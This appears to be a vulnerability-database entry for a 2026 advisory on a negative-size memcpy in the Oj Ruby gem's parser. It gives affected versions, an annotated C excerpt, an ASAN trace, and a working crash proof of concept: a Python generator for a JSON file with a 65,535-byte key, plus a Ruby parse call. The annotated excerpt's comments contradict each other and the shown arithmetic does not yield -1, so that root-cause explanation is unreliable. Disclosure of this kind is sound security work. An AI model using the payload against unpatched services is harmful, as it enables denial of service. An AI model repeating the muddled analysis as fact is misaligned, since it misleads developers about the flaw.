CVE-2026-54900: Oj: Negative-Size memcpy in Oj::Parser create_id Attribute Handling
Summary Oj::Parser#parse in usual mode with createid enabled is vulnerable to heap corruption via a negative-size memcpy. When a JSON object key is exactly 65,535 bytes long, an integer truncation in formattr (usual.c:63) converts the length to -1 before passing it to memcpy. This causes memcpy to copy SIZEMAX bytes (interpreted as a huge sizet), corrupting heap memory and crashing the process.
Published Jun 19, 2026
Affected packages
oj
- Ecosystem
- RubyGems
- Affected
- < 3.17.2
- Fixed in
- 3.17.3
- Check
bundle info oj
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
Oj::Parser#parse in usual mode with create_id enabled is vulnerable to heap corruption via a negative-size memcpy. When a JSON object key is exactly 65,535 bytes long, an integer truncation in form_attr (usual.c:63) converts the length to -1 before passing it to memcpy. This causes memcpy to copy SIZE_MAX bytes (interpreted as a huge size_t), corrupting heap memory and crashing the process.
Version
- Software: oj gem
- Affected: all versions with
ext/oj/usual.c - Latest tested: 3.17.1 (confirmed present)
Details
ext/oj/usual.c, form_attr:
// usual.c:55–64
static ID form_attr(const char *str, size_t slen) {
char buf[4096];
// ...
int blen = (int)slen + 1; // ← truncates: 65535 + 1 = 65536 → wraps to 0
// or: 65535 cast to int = 65535 (fits),
// but blen = 65536 → INT overflow on +1 if slen=INT_MAX
// ...
memcpy(buf, "@", 1);
memcpy(buf + 1, str, (size_t)blen); // ← size_t(-1) = SIZE_MAX
}The cache (cache_intern) uses a fixed 65,536-byte slab. When slen = 65535, the arithmetic wraps and memcpy is called with (size_t)-1.
ASAN report:
==80452==ERROR: AddressSanitizer: negative-size-param: (size=-1)
#0 memcpy
#1 form_attr /ext/oj/usual.c:63
#2 cache_intern /ext/oj/cache.c:326
#3 get_attr_id /ext/oj/usual.c:186
#4 close_object_create /ext/oj/usual.c:374
#5 parse /ext/oj/parser.c:693
#6 parser_parse /ext/oj/parser.c:1408
0x531000528800 is located 0 bytes inside of 65536-byte region [0x531000528800, 0x531000538800)Reproduce
Generate the payload:
key = 'A' * 65535
with open('poc.json', 'w') as f:
f.write('{"json_class":"Oj::Bag","' + key + '":1}')Trigger:
require 'oj'
Oj::Parser.new(:usual, create_id: 'json_class').parse(STDIN.read)References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
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